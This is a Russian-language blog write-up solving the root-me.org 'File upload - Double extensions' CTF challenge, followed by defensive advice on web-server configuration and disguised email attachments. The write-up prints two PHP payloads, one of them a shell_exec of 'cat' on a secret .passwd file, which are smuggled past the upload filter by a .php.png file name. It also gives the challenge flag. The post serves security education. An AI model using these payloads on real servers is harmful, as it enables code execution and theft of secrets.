Перейти к основному содержанию

CTF — File upload - Double extensions

CTF

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - Double extensions". За решение задачки дают 20 баллов, сложнее начального уровня.

ctf

В качестве задания предлагается взломать фотогалерею, загрузив код PHP. Флаг следует искать в корневом файле .passwd.

Нам предлагают воспользоваться уязвимостью при загрузке файлов, связанной с двойным расширением файла. На самом деле понятия "двойное расширение" не существует, расширение только одно, то что идёт за последней точкой. Просто так удобнее озвучивать проблему.

Ссылки

https://www.root-me.org

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch20/

ctf

Мы видим фотогалерею. Интересен раздел upload. Здесь можно загрузить свой файл.

ctf

Естественно, загрузить файл с расширением PHP не удастся. Разрешены расширения GIF, JPEG и PNG.

ctf

Пробую загрузить первый попавшийся bx_loader.gif.

ctf

Файл загружен, его можно посмотреть.

ctf

А теперь создадим файл с двойным расширением "internet_lab_was_here.php.png".

ctf

Внутри файла разместим PHP код, который нам выведет содержимое файла .passwd, например:

<?php
$filename = '../../../.passwd';
$handle = fopen($filename, "rb");
$contents = fread($handle, filesize($filename));
fclose($handle);
echo "<b>$contents</b>";
?>

Или:

<?php
$output = shell_exec('cat ../../../.passwd');
echo "<b>$output</b>";
?>

Я вставил оба кода, какой-нибудь да сработает.

ctf

Пробуем загрузить файл в фотогалерею.

ctf

И файл успешно загружен, открываем его в отдельной вкладке.

ctf

Оба PHP скрипта отработали и вывели содержимое файла .passwd.

Флаг: Gg9LRz-hWSxqqUKd77-_q-6G8

Валидируем.

ctf

Флаг подходит, зарабатываем 20 очков.

Безопасность

Разрешать пользователям загружать файлы, означает, подвергать риску web сервер. Злоумышленники и автоматические боты обязательно проверят ваш сайт на наличие уязвимостей. А таких возможных уязвимостей, связанных с загрузкой файлов, достаточно много. Главная цель злоумышленника — загрузить на ваш web сервер исполняемый файл, а ваша задача помешать этому. Если вы не понимаете тонкостей работы web сервера, то стоит их изучить.

В данной задаче рассматривается проблема двойных расширений. К примеру, при определённых настройках сервер Apache выполнит файл с названием "foobar.php.123" с помощью PHP интерпретатора. В nginx тоже есть определённые настройки, которые приведут к подобному результату.

Почитать можно здесь:

https://www.acunetix.com/websitesecurity/upload-forms-threat/

http://symcbean.blogspot.com/2016/06/local-file-inclusion-why-everything-you.html

  • Правильно настраивайте web-сервер.
  • Старайтесь не разрешать пользователям загружать контент.
  • Валидируйте контент.

Двойные расширения используются злоумышленниками не только для взлома web серверов. Например, вам на почту могут прислать письмо с файлом "Отчёт.doc.vbs". Крайне не рекомендуется такой файл открывать.

Меня больше бесит, что Windows по умолчанию скрывает расширения известных типов файлов. Если файл "Отчёт.doc.vbs" сохранить из письма на диск (а это многие делают при получении письма с большим количеством файлов внутри), то он отобразится как "Отчёт.doc". Это провал!

Обязательно в настройках Explorer снимайте галку "Скрывать расширения для зарегистрированных типов файлов".

ctf

Теги

 

Похожие материалы

CTF — PHP - assert()

Всем привет, сегодня воскресенье, поэтому займёмся чем-нибудь интересным. Например, порешаем задачки на информационную безопасность web-серверов. Сегодня задачка с портала root-me.org, называется "PHP - assert()".

Теги

CTF web — router

Разбираем четвёртую задачку из нашего соревнования CTF. Задание называется router, 122 балла за флаг. Я бы отнёс данную задачу к разделу admin, мне кажется она больше на системное администрирование, нежели на web-разработку.

Теги

CTF — JSON Web Token (JWT) - Weak secret

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "JSON Web Token (JWT) - Weak secret". За решение задачки дают 25 баллов, ближе к среднему уровню.

Теги